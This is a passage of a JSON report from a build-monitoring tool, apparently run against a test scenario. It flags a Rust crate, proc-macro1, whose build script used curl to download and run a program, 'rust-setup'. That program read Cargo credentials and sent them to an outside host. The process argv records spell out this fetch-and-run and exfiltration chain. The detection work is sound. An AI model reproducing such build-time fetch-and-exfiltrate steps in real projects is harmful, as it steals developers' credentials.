{"artifacts":[{"built_by":["build"],"declared":true,"digest":"ba2be2caf6254105e571651d5bd71e819fa6046dfe08cc5d83f76a19e63cb087","findings":[{"affects":"build","confidence":"witnessed","evidence":{"claims":[{"label":"Sensitive-file read linked to a network connection","process":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"role":"cause","subjects":[{"kind":"file","path":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml","role":"source"},{"direction":"out","ip":"18.238.80.121","kind":"connection","node":"n2","port":80,"proto":"tcp","role":"target"}],"text":"Credential store contents linked to this connection through build-time code: /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml","type":"secret.reached_peer","values":{}}],"evidence":["Credential store contents linked to this connection through build-time code: /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml"],"remediation":"Treat the credential as exposed: revoke or rotate it, then remove the build-time code that sent it. The witness chain names the file, the processes that carried its bytes and the destination.","witness":[{"kind":"file","label":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml","node":"n1","path":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml","role":"source","via":null},{"host":"18.238.80.121","kind":"connection","label":"18.238.80.121:80","node":"n2","path":null,"port":80,"role":"sink","via":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062}}]},"jobs":[{"actor":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"chain":["systemd","sshd:","sshd-session:","…","build-script-build","rust-setup"],"graph":null,"invoked_by":{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},"name":"build","step":null,"writer":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","chain":[{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},{"argv":"sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups","exe":null,"pid":1084},{"argv":"sshd-session: bb [priv]","exe":null,"pid":1844},{"argv":"sshd-session: bb@notty","exe":null,"pid":1912},{"argv":"sudo","exe":null,"pid":1913},{"argv":"sh","exe":"/usr/bin/dash","pid":1915},{"argv":"runuser -u bb -- sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/sbin/runuser","pid":1946},{"argv":"sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/bin/dash","pid":1947},{"argv":"python3 scenario.py --variant direct","exe":"/usr/bin/python3.14","pid":1948},{"argv":"cargo build --offline --locked --manifest-path /home/bb/work/arrayref-0.3.10/Cargo.toml --target-dir /home/bb/work/arrayref-0.3.10/target/direct","exe":"/usr/lib/rust-1.93/bin/cargo","pid":1952},{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build-script-build","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build_script_build-32ce5f297d03aac0","pid":2058},{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062}],"exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062}}],"kind":"detection","rule_title":"Possible credential exposure","severity":"critical","status":null,"subject":{"host":"18.238.80.121","kind":"net","port":80},"suppressed":false,"title":"Credential store contents reached a network peer"},{"affects":"build","confidence":"witnessed","evidence":{"claims":[{"label":"Build-time code ran a program downloaded during the build","process":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"role":"cause","subjects":[{"kind":"file","node":"n2","path":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","role":"subject"},{"direction":"out","ip":"18.238.80.69","kind":"connection","node":"n1","port":443,"proto":"tcp","role":"source"}],"text":"ran /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup, downloaded during the build by curl from 18.238.80.69:443","type":"buildscript.ran_download","values":{"fetched_by":"curl","host":"18.238.80.69"}}],"evidence":["ran /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup, downloaded during the build by curl from 18.238.80.69:443"],"remediation":"A dependency's build downloaded a program and ran it, outside anything the registry checksums. Review what the program did, rotate any credential the build could read, and pin or replace the dependency.","witness":[{"host":"18.238.80.69","kind":"connection","label":"18.238.80.69:443","node":"n1","path":null,"port":443,"role":"source","via":null},{"kind":"file","label":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","node":"n2","path":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","role":"subject","via":{"argv":"curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out","exe":"/usr/bin/curl","pid":2060}}]},"jobs":[{"actor":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"chain":["systemd","sshd:","sshd-session:","…","build-script-build","rust-setup"],"graph":null,"invoked_by":{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},"name":"build","step":null,"writer":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","chain":[{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},{"argv":"sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups","exe":null,"pid":1084},{"argv":"sshd-session: bb [priv]","exe":null,"pid":1844},{"argv":"sshd-session: bb@notty","exe":null,"pid":1912},{"argv":"sudo","exe":null,"pid":1913},{"argv":"sh","exe":"/usr/bin/dash","pid":1915},{"argv":"runuser -u bb -- sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/sbin/runuser","pid":1946},{"argv":"sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/bin/dash","pid":1947},{"argv":"python3 scenario.py --variant direct","exe":"/usr/bin/python3.14","pid":1948},{"argv":"cargo build --offline --locked --manifest-path /home/bb/work/arrayref-0.3.10/Cargo.toml --target-dir /home/bb/work/arrayref-0.3.10/target/direct","exe":"/usr/lib/rust-1.93/bin/cargo","pid":1952},{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build-script-build","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build_script_build-32ce5f297d03aac0","pid":2058},{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062}],"exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062}}],"kind":"detection","rule_title":"Unexpected build script activity","severity":"high","status":null,"subject":{"kind":"crate","name":"proc-macro1","version":"0.1.0"},"suppressed":false,"title":"Build script ran a program it downloaded"},{"affects":"build","confidence":"witnessed","evidence":{"claims":[{"label":"Credential store read by build-time code","process":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"role":"cause","subjects":[{"kind":"file","path":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml","role":"source"}],"text":"Credential store read by build-time code that does not own it: /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml","type":"secret.read","values":{}}],"evidence":["Credential store read by build-time code that does not own it: /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml"],"remediation":"Build-time code has no business reading a credential store it does not own. Review the build script or compiler plugin that read it, and rotate the credential if the read is not explained.","witness":[]},"jobs":[{"actor":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"chain":["systemd","sshd:","sshd-session:","…","build-script-build","rust-setup"],"graph":null,"invoked_by":{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},"name":"build","step":null,"writer":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","chain":[{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},{"argv":"sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups","exe":null,"pid":1084},{"argv":"sshd-session: bb [priv]","exe":null,"pid":1844},{"argv":"sshd-session: bb@notty","exe":null,"pid":1912},{"argv":"sudo","exe":null,"pid":1913},{"argv":"sh","exe":"/usr/bin/dash","pid":1915},{"argv":"runuser -u bb -- sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/sbin/runuser","pid":1946},{"argv":"sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/bin/dash","pid":1947},{"argv":"python3 scenario.py --variant direct","exe":"/usr/bin/python3.14","pid":1948},{"argv":"cargo build --offline --locked --manifest-path /home/bb/work/arrayref-0.3.10/Cargo.toml --target-dir /home/bb/work/arrayref-0.3.10/target/direct","exe":"/usr/lib/rust-1.93/bin/cargo","pid":1952},{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build-script-build","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build_script_build-32ce5f297d03aac0","pid":2058},{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062}],"exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062}}],"kind":"detection","rule_title":"Credential store read by build-time code","severity":"high","status":null,"subject":{"kind":"crate","name":"proc-macro1","version":"0.1.0"},"suppressed":false,"title":"Credential store read by build-time code"},{"affects":"build","confidence":"witnessed","evidence":{"claims":[{"label":"What a build script's fetch became","process":null,"role":"support","subjects":[],"text":"1 file came down; the build compiled or linked  and ran rust-setup","type":"fetch.kept","values":{"built":[],"files":1,"ran":["/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup"]}},{"label":"Connection outside the process’s allowed destinations","process":{"argv":"curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…","exe":"/usr/bin/curl","pid":2060},"role":"cause","subjects":[{"direction":"out","ip":"18.238.80.69","kind":"connection","node":"n1","port":443,"proto":"tcp","role":"subject"}],"text":"connection to 18.238.80.69:443, opened by curl","type":"egress.unentitled_connection","values":{"entitlement":"none"}},{"label":"Connection outside the process’s allowed destinations","process":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"role":"cause","subjects":[{"direction":"out","ip":"18.238.80.121","kind":"connection","node":"n2","port":80,"proto":"tcp","role":"subject"}],"text":"connection to 18.238.80.121:80, opened by rust-setup","type":"egress.unentitled_connection","values":{"entitlement":"none"}},{"label":"Data sent; no reply recorded","process":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"role":"support","subjects":[{"direction":"out","ip":"18.238.80.121","kind":"connection","node":"n2","port":80,"proto":"tcp","role":"subject"}],"text":null,"type":"egress.sent_no_reply","values":{}},{"label":"Connection opened by a build script or child process","process":null,"role":"support","subjects":[],"text":"the opener descends from the build script at /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build_script_build-32ce5f297d03aac0","type":"buildscript.connected","values":{"build_script":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build_script_build-32ce5f297d03aac0","crate":"proc-macro1"}},{"label":"Tool command","process":{"argv":"curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…","exe":"/usr/bin/curl","pid":2060},"role":"support","subjects":[{"kind":"process","process":{"argv":"curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…","exe":"/usr/bin/curl","pid":2060},"role":"subject"}],"text":"Command: curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…","type":"buildscript.invocation","values":{}},{"label":"Tool command","process":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"role":"support","subjects":[{"kind":"process","process":{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup","pid":2062},"role":"subject"}],"text":"Command: /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80","type":"buildscript.invocation","values":{}}],"evidence":["1 file came down; the build compiled or linked  and ran rust-setup","connection to 18.238.80.69:443, opened by curl","connection to 18.238.80.121:80, opened by rust-setup"],"remediation":"A dependency's build downloaded files the build then compiled, linked or ran, outside anything the registry checksums. Review what came down, pin or replace the dependency, or record the download as accepted once it is reviewed.","witness":[]},"jobs":[{"actor":{"argv":"curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…","exe":"/usr/bin/curl","pid":2060},"chain":["systemd","sshd:","sshd-session:","…","build-script-build","curl"],"graph":null,"invoked_by":{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},"name":"build","step":null,"writer":{"argv":"curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…","chain":[{"argv":"/usr/lib/systemd/systemd","exe":null,"pid":1},{"argv":"sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups","exe":null,"pid":1084},{"argv":"sshd-session: bb [priv]","exe":null,"pid":1844},{"argv":"sshd-session: bb@notty","exe":null,"pid":1912},{"argv":"sudo","exe":null,"pid":1913},{"argv":"sh","exe":"/usr/bin/dash","pid":1915},{"argv":"runuser -u bb -- sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/sbin/runuser","pid":1946},{"argv":"sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct","exe":"/usr/bin/dash","pid":1947},{"argv":"python3 scenario.py --variant direct","exe":"/usr/bin/python3.14","pid":1948},{"argv":"cargo build --offline --locked --manifest-path /home/bb/work/arrayref-0.3.10/Cargo.toml --target-dir /home/bb/work/arrayref-0.3.10/target/direct","exe":"/usr/lib/rust-1.93/bin/cargo","pid":1952},{"argv":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build-script-build","exe":"/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build_script_build-32ce5f297d03aac0","pid":2058},{"argv":"curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…","exe":"/usr/bin/curl","pid":2060}],"exe":"/usr/bin/curl","pid":2060}}],"kind":"detection","rule_title":"Unexpected network connection","severity":"high","status":null,"subject":{"kind":"crate","name":"proc-macro1","version":"0.1.0"},"suppressed":false,"title":"Build script fetched what the build compiled, linked or ran"}],"graph":{"caption":["Built from arrayref-0.3.10. It was made from what the build downloaded: Downloaded from 18.238.80.69.","Downloaded from 18.238.80.69: Build script ran a program it downloaded.","Build script: proc-macro1: the finding starts here: Credential store contents reached a network peer.","Credentials: Credential store contents reached a network peer.","18.238.80.121:80: Credential store contents reached a network peer.","18.238.80.69:443: Build script fetched what the build compiled, linked or ran."],"edges":[{"count":1,"files":{"witnessed":1},"from":"d:u:unresolved:18.238.80.69","label":"ran as a program by","rels":["ran"],"tie":"witnessed","ties":{"witnessed":1},"to":"s:other:rust-setup"},{"count":1,"from":"s:build-script:proc-macro1#build-script-build","label":"configured the compile of","rels":["configured"],"tie":"declared","ties":{"declared":1},"to":"s:compile:rust@tools"},{"count":1,"from":"s:build-script:proc-macro1#build-script-build","label":"started","rels":["spawned"],"tie":"witnessed","ties":{"witnessed":1},"to":"s:fetch"},{"count":1,"from":"s:build-script:proc-macro1#build-script-build","label":"configured the compile of","rels":["configured"],"tie":"declared","ties":{"declared":1},"to":"s:link@tools"},{"count":1,"from":"s:build-script:proc-macro1#build-script-build","label":"started","rels":["spawned"],"tie":"witnessed","ties":{"witnessed":1},"to":"s:other:rust-setup"},{"count":2,"files":{"witnessed":2},"from":"s:compile:rust","label":"wrote","rels":["wrote"],"tie":"witnessed","ties":{"witnessed":2},"to":"t:archive"},{"count":4,"files":{"witnessed":4},"from":"s:compile:rust","label":"wrote","rels":["wrote"],"tie":"witnessed","ties":{"witnessed":4},"to":"t:file"},{"count":11,"files":{"witnessed":11},"from":"s:compile:rust","label":"wrote","rels":["wrote"],"tie":"witnessed","ties":{"witnessed":11},"to":"t:object"},{"count":2,"files":{"witnessed":2},"from":"s:compile:rust@tools","label":"wrote","rels":["wrote"],"tie":"witnessed","ties":{"witnessed":2},"to":"t:file@tools"},{"count":26,"files":{"witnessed":26},"from":"s:compile:rust@tools","label":"wrote","rels":["wrote"],"tie":"witnessed","ties":{"witnessed":26},"to":"t:object@tools"},{"count":1,"files":{"witnessed":1},"from":"s:compile:rust@tools","label":"wrote","rels":["wrote"],"tie":"witnessed","ties":{"witnessed":1},"to":"t:record@tools"},{"count":2,"from":"s:fetch","label":"sent to","rels":["sent"],"tie":"witnessed","ties":{"witnessed":2},"to":"u:unresolved:18.238.80.69"},{"count":2,"files":{"witnessed":1},"from":"s:link","label":"named as its output by the command, wrote","rels":["requested","wrote"],"tie":"witnessed","ties":{"declared":1,"witnessed":1},"to":"t:executable"},{"count":2,"files":{"witnessed":1},"from":"s:link@tools","label":"named as its output by the command, wrote","rels":["requested","wrote"],"tie":"witnessed","ties":{"declared":1,"witnessed":1},"to":"t:library:rustc@tools"},{"count":2,"from":"s:other:rust-setup","label":"sent to","rels":["sent"],"tie":"witnessed","ties":{"witnessed":2},"to":"u:unresolved:18.238.80.121"},{"count":2,"files":{"declared":1,"process":1},"from":"t:archive","label":"read into","rels":["fed"],"tie":"declared","ties":{"declared":1,"process":1},"to":"s:compile:rust"},{"count":1,"files":{"declared":1},"from":"t:archive","label":"read into","rels":["fed"],"tie":"declared","ties":{"declared":1},"to":"s:link"},{"count":1,"files":{"witnessed":1},"from":"t:credential","label":"the finding's bytes went on to","rels":["witness"],"tie":"witnessed","ties":{"witnessed":1},"to":"u:unresolved:18.238.80.121"},{"count":1,"files":{"witnessed":1},"from":"t:executable","label":"is","rels":["is"],"tie":"witnessed","ties":{"witnessed":1},"to":"a:artifact"},{"count":4,"files":{"process":4},"from":"t:file","label":"read into","rels":["fed"],"tie":"process","ties":{"process":4},"to":"s:compile:rust"},{"count":2,"files":{"process":2},"from":"t:file@tools","label":"read into","rels":["fed"],"tie":"process","ties":{"process":2},"to":"s:compile:rust@tools"},{"count":2,"files":{"declared":1},"from":"t:library:rustc@tools","label":"loaded as a plugin by","rels":["loaded"],"tie":"declared","ties":{"declared":2},"to":"s:compile:rust"},{"count":11,"files":{"declared":11},"from":"t:object","label":"read into","rels":["fed"],"tie":"declared","ties":{"declared":11},"to":"s:link"},{"count":26,"files":{"declared":26},"from":"t:object@tools","label":"read into","rels":["fed"],"tie":"declared","ties":{"declared":26},"to":"s:link@tools"},{"count":1,"files":{"declared":1},"from":"t:record@tools","label":"read into","rels":["fed"],"tie":"declared","ties":{"declared":1},"to":"s:link@tools"},{"count":2,"files":{"declared":2},"from":"u:checkout","label":"read into","rels":["fed"],"tie":"declared","ties":{"declared":2},"to":"s:compile:rust"},{"count":1,"files":{"declared":1},"from":"u:checkout","label":"read into","rels":["fed"],"tie":"declared","ties":{"declared":1},"to":"s:compile:rust@tools"},{"count":1,"files":{"witnessed":1},"from":"u:unresolved:18.238.80.69","label":"the finding's bytes went on to","rels":["witness"],"tie":"witnessed","ties":{"witnessed":1},"to":"d:u:unresolved:18.238.80.69"},{"count":1,"from":"u:unresolved:18.238.80.69","label":"received from","rels":["received"],"tie":"witnessed","ties":{"witnessed":1},"to":"s:fetch"}],"groups":[{"arrival":"downloaded","count":1,"findings":["Build script ran a program it downloaded"],"flag":"Build script ran a program it downloaded","from":["18.238.80.69"],"id":"d:u:unresolved:18.238.80.69","kind":"unit","label":"Downloaded from 18.238.80.69","lane":"input","rank":0,"sub":"1 file · downloaded during this build from 18.238.80.69","tone":"flag","unit":{"kind":"unresolved","name":"18.238.80.69"},"versions":1},{"count":1,"findings":["Credential store contents reached a network peer","Build script fetched what the build compiled, linked or ran","Build script ran a program it downloaded","Credential store read by build-time code"],"flag":"the finding starts here: Credential store contents reached a network peer","id":"s:build-script:proc-macro1#build-script-build","kind":"stage","label":"Build script: proc-macro1","lane":"stage","programs":{"build-script-build":1},"rank":18,"stage":"build-script","sub":"build-script-build · 1 run","tone":"flag"},{"count":2,"family":"rust","id":"s:compile:rust","kind":"stage","label":"Compiled (Rust)","lane":"stage","programs":{"rustc":2},"rank":12,"records":{"declared":2,"units":2,"witnessed":2},"stage":"compile","sub":"rustc · 2 runs","tone":"ok"},{"count":1,"family":"rust","id":"s:compile:rust@tools","kind":"stage","label":"Compiled (Rust), build tools","lane":"stage","programs":{"rustc":1},"rank":6,"records":{"declared":1,"units":1,"witnessed":1},"side":"tools","stage":"compile","sub":"rustc · 1 run","tone":"ok"},{"count":1,"id":"s:fetch","kind":"stage","label":"Fetched","lane":"stage","programs":{"curl":1},"rank":1,"stage":"fetch","sub":"curl · 1 run","tone":"ok"},{"count":2,"id":"s:link","kind":"stage","label":"Linked","lane":"stage","programs":{"collect2":1,"ld":1},"rank":16,"stage":"link","sub":"collect2, ld · 2 runs","tone":"ok"},{"count":2,"id":"s:link@tools","kind":"stage","label":"Linked, build tools","lane":"stage","programs":{"collect2":1,"ld":1},"rank":10,"side":"tools","stage":"link","sub":"collect2, ld · 2 runs","tone":"ok"},{"count":1,"id":"s:other:rust-setup","kind":"stage","label":"rust-setup","lane":"stage","programs":{"rust-setup":1},"rank":4,"stage":"other","sub":"rust-setup · 1 run","tone":"ok"},{"count":2,"id":"t:archive","kind":"type","label":"Archives","lane":"made","rank":14,"sub":"2 archives · 1 stated by the compiler, 1 by name","tone":"ok","type":"archive","typed_by":{"name":1,"producer":1},"versions":2},{"count":1,"findings":["Credential store contents reached a network peer","Credential store read by build-time code"],"flag":"Credential store contents reached a network peer","id":"t:credential","kind":"type","label":"Credentials","lane":"made","rank":3,"sub":"1 credential · by name","tone":"flag","type":"credential","typed_by":{"name":1},"versions":1},{"count":1,"id":"t:executable","kind":"type","label":"Programs","lane":"made","rank":17,"sub":"1 program · ran","tone":"ok","type":"executable","typed_by":{"use":1},"versions":1},{"count":4,"id":"t:file","kind":"type","label":"Other files","lane":"made","rank":13,"sub":"4 files · 2 .bin, 2 no extension","tone":"ok","type":"file","typed_by":{"untyped":4},"versions":4},{"count":2,"id":"t:file@tools","kind":"type","label":"Other files, build tools","lane":"made","rank":7,"side":"tools","sub":"2 files · 1 .bin, 1 no extension","tone":"ok","type":"file","typed_by":{"untyped":2},"versions":2},{"count":1,"family":"rustc","id":"t:library:rustc@tools","kind":"type","label":"rustc plugins, build tools","lane":"made","rank":11,"side":"tools","sub":"1 plugin · stated by the linker","tone":"ok","type":"library","typed_by":{"producer":1},"versions":1},{"count":11,"id":"t:object","kind":"type","label":"Object files","lane":"made","rank":15,"sub":"11 objects · named by the command that read them","tone":"ok","type":"object","typed_by":{"consumer":11},"versions":11},{"count":26,"id":"t:object@tools","kind":"type","label":"Object files, build tools","lane":"made","rank":8,"side":"tools","sub":"26 objects · named by the command that read them","tone":"ok","type":"object","typed_by":{"consumer":26},"versions":26},{"count":1,"id":"t:record@tools","kind":"type","label":"Build records, build tools","lane":"made","rank":9,"side":"tools","sub":"1 record · named by the command that read them","tone":"ok","type":"record","typed_by":{"consumer":1},"versions":1},{"arrival":"checkout","count":3,"id":"u:checkout","kind":"unit","label":"arrayref-0.3.10","lane":"input","rank":0,"sub":"3 files · from the checkout","tone":"ok","unit":{"kind":"checkout"},"versions":3},{"count":1,"findings":["Credential store contents reached a network peer"],"flag":"Credential store contents reached a network peer","host":"18.238.80.121","id":"u:unresolved:18.238.80.121","kind":"host","label":"18.238.80.121:80","lane":"peer","ports":[80],"rank":5,"sent":true,"sub":"1 connection during this build · sent","tone":"flag","unit":{"kind":"unresolved","name":"18.238.80.121"}},{"count":1,"findings":["Build script fetched what the build compiled, linked or ran","Build script ran a program it downloaded"],"flag":"Build script fetched what the build compiled, linked or ran","host":"18.238.80.69","id":"u:unresolved:18.238.80.69","kind":"host","label":"18.238.80.69:443","lane":"peer","ports":[443],"rank":2,"received":true,"sent":true,"sub":"1 connection during this build · sent and received","tone":"flag","unit":{"kind":"unresolved","name":"18.238.80.69"}},{"artifact_kind":"binary","count":1,"id":"a:artifact","kind":"artifact","label":"arrayref_demo-aae5e5ef1789e531","lane":"artifact","rank":19,"state":"retained","sub":"binary · retained","tone":"ok"}],"schema":2,"size":{"disputed":0,"edges":114,"hows":{"window":50},"nodes":65,"ties":{"declared":43,"process":7},"typed_by":{"consumer":38,"name":2,"producer":2,"untyped":6,"use":2}}},"groups":{"behavior":"flagged","pipeline":"clean","posture":"not checked","supply":"clean"},"kind":"binary","license":{"classes":{},"compatibility":null,"declared_state":"none","inherited":null,"product":null,"restrictive":[],"undetermined":{}},"name":"arrayref_demo","role":"product","shipments":[],"slug":"arrayref-demo","state":"retained","vulnerabilities":[],"witnessed":true,"witnessed_size":{"objects":54,"processes":7}}],"built":true,"checks":[{"description":"Network activity","examined":{"connections":2,"processes":2},"group":"behavior","group_label":"Build 